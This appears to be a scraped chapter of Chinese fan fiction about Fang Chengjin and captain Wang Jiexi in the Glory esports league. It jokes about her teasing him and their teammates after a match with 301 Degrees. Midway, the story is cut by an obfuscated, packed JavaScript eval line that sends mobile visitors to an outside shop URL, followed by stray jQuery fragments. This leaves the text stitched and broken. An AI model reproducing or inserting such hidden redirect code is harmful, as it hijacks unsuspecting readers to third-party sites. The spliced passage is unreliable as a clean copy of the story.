所以,一周后,常规赛第四轮,微草对三零一度的比赛,在杨聪感慨着说“近战攻坚手真好啊”的时候,王杰希平静地道:“你可以试试和她相处十二个小时。”
你要吗?送你了。
方士谦怒道:“王杰希你说什么呢?你不要我要,谁说要送人了?”
转头就和方成锦说,“有人对你弃之如履,有人把你视若珍宝,你把王杰希揣兜里,他就把你踹沟里,自己想想吧。”
事实往往是反过来的,对此,王杰希只平淡地说了四个字:“颠倒黑白。”
方成锦无辜地看着三零一的选手们,没明白王杰希在说什么大逆不道的话。看她这么无辜,还能忍心给出任何恶评吗?
能的、能的。杨聪后退了半步,不太委婉地回绝:“拿远点。”
方成锦谴责地看着他。
杨聪呵呵一笑。
短短一个赛季,方成锦的魔王之名已传遍联盟,都快成了她的专属封号了。
祸害同期,是她最不足为提的成就。二期之外,前有冰雪男王韩文清,后有叶秋水灵,谁也不知道下一个被她戏耍的倒楣蛋会是谁。
杨聪真心希望这个人不会是他。
即便是他们这些新入联盟的三期生也有所耳闻,微草双子已经得到了很好的评价:方成锦和方士谦这对兄妹,真可谓是一对笑面虎,两头乌角鲨啊!
有关北京人都是鲨鱼的刻板印象,似乎也因此加深了。
她们刚打完比赛,从三零一度手中夺去胜利。这赛季微草势头很猛,前四轮未尝一败,各战队还在琢磨王杰希的打法,显然,没人琢磨得出来。
就连他的队友也如在云雾,不由得感叹:小王队长,真是一个难以捉摸的神秘男子啊。
方成锦干脆叫他神秘扫把男,给他起了八百个江湖诨号,换着法儿地叫,一会儿飞天小男警,一会儿魔卡少男希,一会儿希希杀人男魔头,秦至臻听得满脑袋问号:咱们俱乐部有这号人吗?
众人连不上王杰希的脑回路,王杰希也连不上她的,好多次都没反应过来她在叫谁。
然而,要是真的能彻底理解她的思维,那也离疯很近,离人很远了。
王杰希是魔术师,是比格饲养员,是方成锦的受害者之一,唯独不是疯人院王院长。
他当然不是王院长,方成锦给出了很多恶评,说他自己就是疯人院的病人之一。
拿刚刚结束的那场比赛举例,个人赛都不消说了,老样子,方成锦单挑,王杰希守擂,两人各司其职,局势一片大好。
个人赛是单打独斗,又不讲究配合,被伤害的唯有对手,轮不到王杰希祸害队友。等到团队赛,方士谦视死如归地上了场,方成锦的脸色比他更差,已经开始晕了。
人家晕机晕车晕碳,她晕王杰希版王不留行。
方成锦多么怀念上赛季她和林杰版王不留行并肩作战的时光啊。
那时候她还不晕扫把,方士谦也不恨魔道学者,现在倒好,魔道学者也上了他的死亡笔记,和狂剑士坐在一桌。
——方士谦还真有一本死亡笔记,准确来说是共享笔记,他和方成锦一起用这个笔记本记仇,写的都是赛场上王不留行那些绕晕大脑的操作,并命名为“奶牛猫时刻”。
一方面记仇,一方面牢记在心,既然已经知道什么样的操作跟不上,就更要勤加磨练。
团队赛开始,王不留行一溜烟飞出去,兄妹俩仿佛已看见她们分别燃成舍利子的结局。
魔道会飞,速来灵敏,机动性极强,王杰希自然先飞出去探路,微草主场选择的地图非常不利于杨聪的刺客发挥,遮蔽处极少。
刺客更喜欢敌明我暗的场景,眼下的局势,显然不容风景杀悄然出手,从暗处袭击。
何况杨聪本就不是玩暗杀的。他是一个少见的打正面的刺客选手,操作快而细致,却一直把舍命一击捏在手里。
二十分钟的团队赛,方成锦时刻提防风景杀,他的双剑却未曾出鞘。
捏在手里迟迟不放的技能,才是最有威胁性的武器。
方成锦本以为他是假寐盖以诱敌,一直不用舍命一击,只为让微草提心吊胆,心中紧张,可是直到比赛结束,舍命一击都没有发动。
一支战队的队长,一个不能打舍命一击的刺客。
她蓦然意识到这一点。
想到这里,不禁对王杰希指指点点一番,方成锦一下下戳着他的脊梁骨,说:“你看人杨聪,再看看你。”
“我怎么了?”王杰希反问。
他真的像被戳后背毛的猫一样,丝滑流畅地动了动身子,方成锦竟然没戳到他,当下恼火起来,“我看杨聪已有首席阿萨辛之姿,而你只是魔法少男杰西卡而已!”
在她嘴里,芳龄十八的杨聪也是当上山中老人了。
“什么跟什么。”王杰希淡淡瞥她一眼,唇角竟然一翘,是失笑的神情,“问过季冷了吗?”
霸图的刺客选手季冷,正是目前众人心中的第一刺客。
杨聪初入联盟,这样的比较,连他自己都认为不太恰当,便说:“哎哟,姐姐,别抬举我了,我现在可当不上什么第一,让人家粉丝听见可不得了,要拿我开涮了。”
却不想方成锦突然正色起来,严肃地拍了拍杨聪的肩膀,骤然发问:“杨聪,你的缭影乱武不是双剑吗?”
“呃?”杨聪发出一个不解的音节。
她拍他肩膀的时候,方士谦和王杰希的目光好像都刺过来了。
两人的双眼极快地一转,杨聪疑心是他看错,不确定,再看看。
再看又仿佛只是错觉,杨聪仍然不解其意,迟疑道:“是啊,怎么了?”
方成锦语重心长地接着说:“在我看来,一把叫仁之剑,一把叫义之剑,有了这两把剑,还能不是第一刺客吗?”
杨聪再一次发出那种声音:“呃?”
他想摸摸自己的后脑勺,但好像摸不着头脑。
“不用放在心上。”
一旁,杨聪的好同期,方成锦的坏队长,王杰希男士平静地说:“要是能理解她,那就坏事儿了。”
“是啊,是啊。”杨聪感慨道,“这好着好着怎么就坏起来了呢?”
“……王杰希你什么意思?”方成锦对他怒目而视,又召唤方士谦,“哥哥,打呀!上去给我掌他的嘴!”
“我也要动手吗?”方士谦略微挑眉,伸手指着自己,但一动不动——职业选手的双手很珍贵,能动嘴就不要动手,当然,如果实在说不通,他也略懂些拳脚。
方成锦更怒,“还愣着干嘛,打!”
怒火滔天,眼中锋芒毕露,王杰希不禁回忆起往昔。
第三赛季前夕,林杰把队长之位和王不留行交给他之后,曾在私下对他说:成锦率真纯粹,从不会绕弯兜圈,向来有话直说,可能会有点伤人,但她是一个很好的副队长,会是你的好帮手,你们要好好相处。
那时候,方成锦对他的态度已经冷下来,虽然不抱期望,但王杰希也想过和她并肩作战的“以后”。
遥想曾经的魏琛和方世镜,如今的叶秋和吴雪峰,刚出道的王杰希难免心存侥幸,生出一丝对未来的期冀,他想道:等到正式开赛,她们两人也一定会相敬如宾、琴瑟和鸣、举案齐眉吧。
方成锦最终实现了他的愿望。
相敬如宾:指王杰希是宾馆,林杰才是家。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731326|206647||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
琴瑟和鸣:指方成锦天天怪叫,叫嚷声如丝竹之乱耳。
举案齐眉:指方成锦一直很想把桌子砸到他脑袋上。
或许这就是汉语言文学的魅力所在。
方成锦只是嘴上说说,过过嘴瘾,不会真的去和王杰希玩真人快打,惹毛了她,她自会毛绒绒地走开,雷声大雨点小而已,此时便冷冷地横了王杰希一眼,又不说话了。
“哑巴了你?”方士谦说。
她还是不说话,拿手机打字给他看:不说话装高冷。
闹别扭也该有个限度,然而很明显,方成锦从不懂得什么叫做分寸,王杰希也略感头痛。
他决心找方成锦谈谈。
比赛结束已经很晚,两队又聚了餐,方成锦和杨聪都挺健谈,两人一唱一和,口若悬河,讲起话来滔滔不绝,把聚餐演绎成相声大会,无限拖延散场时间。
等到散场,两人都是意犹未尽,依依相别那一刻,方成锦款款道:“聪,我心里永远给你留一块地,常规赛一别已是终身大错,你带我走,你带我走吧!”
队服袖摆很快一重,是方士谦伸手拽住了那片衣角。方成锦扭头去看哥哥,见他没什么笑意地挑起嘴角,眉眼似乎微冷,“在这儿演什么甄嬛和果郡王呢?”
杨聪连忙摆手:“哎哟,锦啊,嘛呀这是?我们是回天津了,可不是驾鹤西去了,来年再见吧!”
王杰希就静静看着她们演戏,再淡然评说一句:“好雅兴。”
那就对了,方成锦沾沾自喜:她正是这样一位高雅人士呀!
总算送别三零一度,高雅人士却被王杰希逮捕了,回俱乐部路上,方成锦照常和哥哥挨在一起,肩膀刚碰上,王杰希的声音就从旁边飘过来,叫她:“成锦。”
正所谓狗嘴里吐不出象牙,猫嘴里吐不出狼牙棒,在方成锦心中,王杰希显然属于后者。她感觉他找她没好事儿,沉吟片刻,敛容道:“我们认识吗?我虽独身,在微草也待了两年。常言道,副队门前是非多,好事不出门,坏事传千里,所以只能身居茅屋,眼观全球,脚踩污泥,胸怀天下,我说得对吗?”
什么乱七八糟的?王杰希神色不改,没什么情绪地看了她一眼。他只是想和她谈些公事。
“不知道,抱歉,对不起。”方成锦顺滑地垂下眼眉。
先前聚餐,在场馆附近找了家烧烤,离俱乐部很近,这会儿已经走到微草大门,马上就要进去,方士谦蹙眉,“有什么话是非要单独说的,我不能听?”
“队长和副队长的公事。”王杰希眉峰不动,说得一本正经,有理有据。
他和方成锦私底下谈话,这叫私事;但考虑到她们分别是正副队长,把这私事说成公事似乎也没什么不对,这就是语言的艺术,显然,王杰希已深谙此道了。
方成锦被他骗了,于是斜他一眼,说:“胡说八道,都是诡辩。”
队友们都回宿舍了,只留她俩在大门口,逗留在前院里喂蚊子,多有情调呢。
幸好她们穿的都是长袖长裤。
更有雅兴的是前院里那架铁艺秋千椅,谁也不知道老板脑子里想的是什么,当初建基地的时候非要安个秋千玩儿。
别说,还真挺好玩儿,方成锦坐上去,王杰希就看着她在秋千上晃晃悠悠,夜色深深,沉入眸心,如湖中倒影,她的眼睛却明亮如初,黑夜不曾浸没眸光,不见浓黑的夜云,唯有烂漫的清波。
或许他看了太久。
久到她耐不住性子,率先开口。
方成锦性子急,迟迟等不到他,已经有点不耐烦,于是直接问:“你到底想说什么?”
千呼万唤始出来,王杰希终于启唇,问的却是:“你就那么讨厌我?”